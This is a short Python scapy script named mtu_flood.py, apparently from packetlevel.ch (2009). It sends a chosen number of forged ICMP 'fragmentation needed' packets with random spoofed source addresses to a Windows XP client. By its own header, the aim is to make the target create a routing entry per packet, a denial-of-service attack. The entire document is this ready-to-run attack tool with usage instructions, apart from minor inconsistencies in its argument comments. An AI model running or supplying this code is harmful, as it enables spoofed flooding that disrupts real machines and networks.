#! /usr/bin/env python # # mtu_flood.py client_ip server_ip rouer_ip mtu # # (c) 2009 by packetlevel.ch # # version 0.1 / 8.Nov.2009 # # # based on # ICMP message Type 3 code 4 (destination unreachable, don't fragment (DF) bit sent and fragmentation required) # # Windows XP create for each packet a routing entry # # import requert parts # from scapy.all import * from sys import argv from sys import exit # # command line options # if len(argv) !=4: print"Usage:\n\tmtu_flood.py XP_Client_IP MTU count" print"\tExample mtu_flood.py 192.168.0.12 1000 100" sys.exit(0) ip_client = argv[1] mtu = int(argv[2]) c = int(argv[3]) # # build answer packet # ip = IP() icmp = ICMP() # # IP Packet sent to client # ip.dst = ip_client # # icmp type 3 + code 4 # icmp.type = 3 icmp.code = 4 icmp.unused = mtu # # build original packet for ICMP ping request # ip_orig = IP() ip_orig.src = ip_client icmp_orig = ICMP() icmp_orig.type = 8 icmp_orig.code = 0 # # send the packet # for i in range(0, c): ip.src = RandIP() ip_orig.dst = RandIP() send (ip/icmp/ip_orig/icmp_orig) else: print "Ufff, work done.."